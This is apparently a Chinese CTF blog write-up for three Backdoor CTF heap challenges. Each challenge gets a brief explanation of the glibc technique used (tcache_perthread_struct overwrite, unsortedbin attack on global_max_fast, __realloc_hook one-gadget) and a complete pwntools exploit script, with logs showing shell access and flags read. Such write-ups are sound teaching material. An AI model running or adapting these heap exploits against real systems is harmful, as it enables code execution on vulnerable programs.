很久没更新博客了,水一篇wp。

Backdoor CTF

babytcache

程序限制了我们free的次数,这样“free7次进unsortedbin来leak libc”的方法就不可以了。有uaf和show,这样可以泄露堆地址,这样我们分配一个块到tcache_perthread_struct,将一个tcache bin的容量改为7,这样再有同样大小的chunk被free掉就会进入unsortedbin了,即可leak libc。

有了libc,之后就是改hook。虽然限制了分配块的总数,我们可以通过修改tcache_perthread_struct里bin的入口指向hook,这样拿到hook附近的块。这里改的是free_hook。再去free一个内容是binsh的块即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = 1

LOCAL = True
BIN = './babytcache'
HOST = '51.158.118.84'
PORT = 17002

def menu(choice):
p.sendlineafter('>>', str(choice))

def add(index, size, data):
menu(1)
p.sendlineafter('Note index:', str(index))
p.sendlineafter('Note size:', str(size))
p.sendafter('Note data:', data)

def edit(index, data):
menu(2)
p.sendlineafter('Note index:', str(index))
p.sendafter('Please update the data:', data)

def delete(index):
menu(3)
p.sendlineafter('Note index:', str(index))

def show(index):
menu(4)
p.sendlineafter('Note index:', str(index))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

def exploit(p):

add(0, 0x80, '0') # heap leak
add(1, 0x80, '1') # libc leak
add(2, 0x80, '2') # prevent consolidate
delete(0)
delete(0)
show(0)
p.recvuntil('Your Note :')
heap_leak = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00'))-0x260
log.info('leak: '+hex(heap_leak))
edit(0, p64(heap_leak+0x10)) # tcache_perthread_structure
add(3, 0x80, '3')
add(4, 0x80, p64(0x0700000000000000)) # tcache is full
delete(1)
show(1)
p.recvuntil('Your Note :')
libc_base = u64(p.recv(6).ljust(8, '\x00'))-0x7f51c530eca0+0x7f51c4f23000
log.info('libc: '+hex(libc_base))
libc = ELF('./libc.so.6')
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
# delete()

# one = libc_base+0x4f322

edit(4, '\x00'*0x78 + p64(free_hook))
add(5, 0x80, p64(libc_base+libc.sym['system']))
add(6, 0x80, '/bin/sh\x00')
delete(6)
# edit(4, '\x00'*78+p64(malloc_hook))
# add(5, 0x68, '6')
# add(6, 0x68, p64(one))



p.interactive()
return

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
# pause()
if DEBUG:
gdb.attach(p)
exploit(p)

'''
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x55 bytes:
'Dockerfile\n'
'babytcache\n'
'babytcache.c\n'
'beast.toml\n'
'flag.txt\n'
'post-build.sh\n'
'public\n'
'setup.sh\n'
Dockerfile
babytcache
babytcache.c
beast.toml
flag.txt
post-build.sh
public
setup.sh
$ cat flag*
[DEBUG] Sent 0xa bytes:
'cat flag*\n'
[DEBUG] Received 0x29 bytes:
'CTF{l3t_m3_fr33_th0s3_tc4ch3_pl34s3!!!!}\n'
CTF{l3t_m3_fr33_th0s3_tc4ch3_pl34s3!!!!}
$
'''

babyheap

这道题是我第一次做unsortedbin attack改global_max_fast的题目。

同样是uaf,但是没有show,大概率是得爆破了,要么就是io file leak。由于程序最开始用了mallopt限制了不能用fastbin,我们可以想办法用unsortedbin attack的方式写global_max_fast,有了fastbin之后想着再fastbin attack。

先看一下free之后fd bk和global_max_fast的差别:

1
2
3
4
5
6
7
8
0x7f5da6ce 5 b78 <= bk
0x7f5da6ce 7 7f8 <= global_max_fast

0x7f5a2962 3 b78
0x7f5a2962 5 7f8

0x7f2903ad e b78
0x7f2903ae 0 7f8

爆破还是可以的。这样用uaf把bk改成&global_max_fast-0x10即可。

那怎么泄露libc?有了fastbin之后,改fd到bss上ptr_list附近,chunk0⇒free@got⇒puts@plt,即可leak libc。之后就写malloc_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = 0

LOCAL = True
BIN = './babyheap'
HOST = '51.158.118.84'
PORT = 17001
'''
p &global_max_fast
0x7f5da6ce 5 b78
0x7f5da6ce 7 7f8

0x7f5a2962 3 b78
0x7f5a2962 5 7f8

0x7f2903ad e b78
0x7f2903ae 0 7f8
1/16 to overwrite fd/bk to global_max_fast
'''

def menu(choice):
p.sendlineafter('>>', str(choice))

def add(index, size, data):
menu(1)
p.sendlineafter('Enter the index:', str(index))
p.sendlineafter('Enter the size:', str(size))
p.sendafter('Enter data:', data)

def edit(index, data):
menu(2)
p.sendlineafter('Enter the index:', str(index))
p.sendafter('Please update the data:', data)

def delete(index):
menu(3)
p.sendlineafter('Enter the index:', str(index))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

def exploit(p):

# undortedbin attack: overwrite bk = &global_max_fast - 0x10
add(0, 0x30, 'a'*8)
add(1, 0x68, 'b'*8)
add(6, 0x68, '1'*8)
add(7, 0x100, '2'*8)
add(8, 0x100, '3'*8)
delete(7)
delete(0)

edit(0, '\x00'*8+p16(0x37f8-0x10))
try:
# start to attack
add(2, 0x30, 'c'*8)
delete(1)
# into fastbin
edit(1, p64(0x6020bd))
add(3, 0x68, 'd'*8)
pl = 0x53*'a'+p64(elf.got['free']) # chunk 0-> free@got
add(4, 0x68, pl)
except:
log.info('err')
p.close()

delete(6)
edit(0, p64(elf.plt['puts'])) # free@got -> puts@plt
delete(7)
p.recvuntil('\n')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
libc_base = leak-0x7ffff7dd1c78+0x7ffff7a0d000
log.info('libc: '+hex(libc_base))
libc = ELF('./libc.so.6')
malloc_hook = libc_base+libc.sym['__malloc_hook']
log.info('malloc_hook: '+hex(malloc_hook))
edit(0, p64(elf.plt['free'])) # free@got -> puts@plt

edit(6, p64(malloc_hook-0x23))
add(9, 0x68, 'cccc')
one = 0xf02a4
add(10, 0x68, 0x13*'a'+p64(libc_base+one))

menu(1)
p.sendlineafter('Enter the index:', str(11))
p.sendlineafter('Enter the size:', str(111))
p.interactive()

return
'''
Dockerfile
babyheap
babyheap.c
beast.toml
flag.txt
post-build.sh
public
setup.sh
$ cat flag*
[DEBUG] Sent 0xa bytes:
'cat flag*\n'
[DEBUG] Received 0x1e bytes:
'CTF{n0_l34k_func710n_1n_2019}\n'
CTF{n0_l34k_func710n_1n_2019}
$
'''

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
# pause()
if DEBUG:
gdb.attach(p)
exploit(p)

miscpwn

和hitcon的那道题目差不多,泄露libc的方法就是malloc一个很大的块,使得malloc调用mmap来分配,贴近libc。

这里在写data之后调用malloc就exit了,相当于强制我们利用malloc_hook。不过直接写one gadget不成功,因为条件都不满足。所以用了__realloc_hook中转的方法。

realloc的前面有push和sub rsp的操作,jmp rax之前有对应的pop和add操作,如果我们直接跳到mov rax之前的某一条指令,省略了一些sub rsp的操作就相当于add rsp。这样就相当于调整了rsp,符合one gadget的调用要求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = 1

LOCAL = True
BIN = './miscpwn'
HOST = '51.158.118.84'
PORT = 17004

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps):
script = 'handle SIGALRM ignore\n'
PIE = get_base_address(p)
script += "set = 0x{:x}\n".format(PIE)
for bp in bps:
script += "b *0x%x\n"%(PIE+bp)
script += 'b malloc\n'
gdb.attach(p, gdbscript=script)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

def exploit(p):

p.recv()
p.sendline(str(10000000))
sleep(2)
p.recvuntil('\n')
leak = int(p.recvuntil('\n', drop=True), 16)
log.info('leak: '+hex(leak))
# libc_base = leak-0x7fd7b3998010+0x7fd7b6999000 # 0x989ff0
libc_base = leak+0x989ff0
log.info('libc: '+hex(libc_base))

# libc = elf.libc
libc = ELF('./libc.so.6')

realloc_hook = libc_base+libc.sym['__realloc_hook']
realloc_offset = realloc_hook - leak
log.info('realloc_hook: '+hex(realloc_hook))
p.recv()
p.sendline(hex(realloc_offset))
p.recv()
'''
__realloc_hook near __malloc_hook
__realloc_hook = one_gadget, realloc() will call __realloc_hook,
'''
pl = p64(libc_base+0x501e3)+p64(libc_base+libc.sym['realloc']+14)
# pl = p64(libc_base+0x4f322)+'tttttttt'
p.sendline(pl)

p.interactive()
return

'''
Dockerfile
beast.toml
flag.txt
ld-2.28.so
libc.so.6
miscpwn
miscpwn.c
post-build.sh
public
setup.sh
$ cat flag*
[DEBUG] Sent 0xa bytes:
'cat flag*\n'
[DEBUG] Received 0x2e bytes:
'CTF{wh0_kn3w_s3t_c0nt3xt_c0uld_g3t_y0u_sh3ll}\n'
CTF{wh0_kn3w_s3t_c0nt3xt_c0uld_g3t_y0u_sh3ll}
'''

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
# pause()
if DEBUG:
debug([])
exploit(p)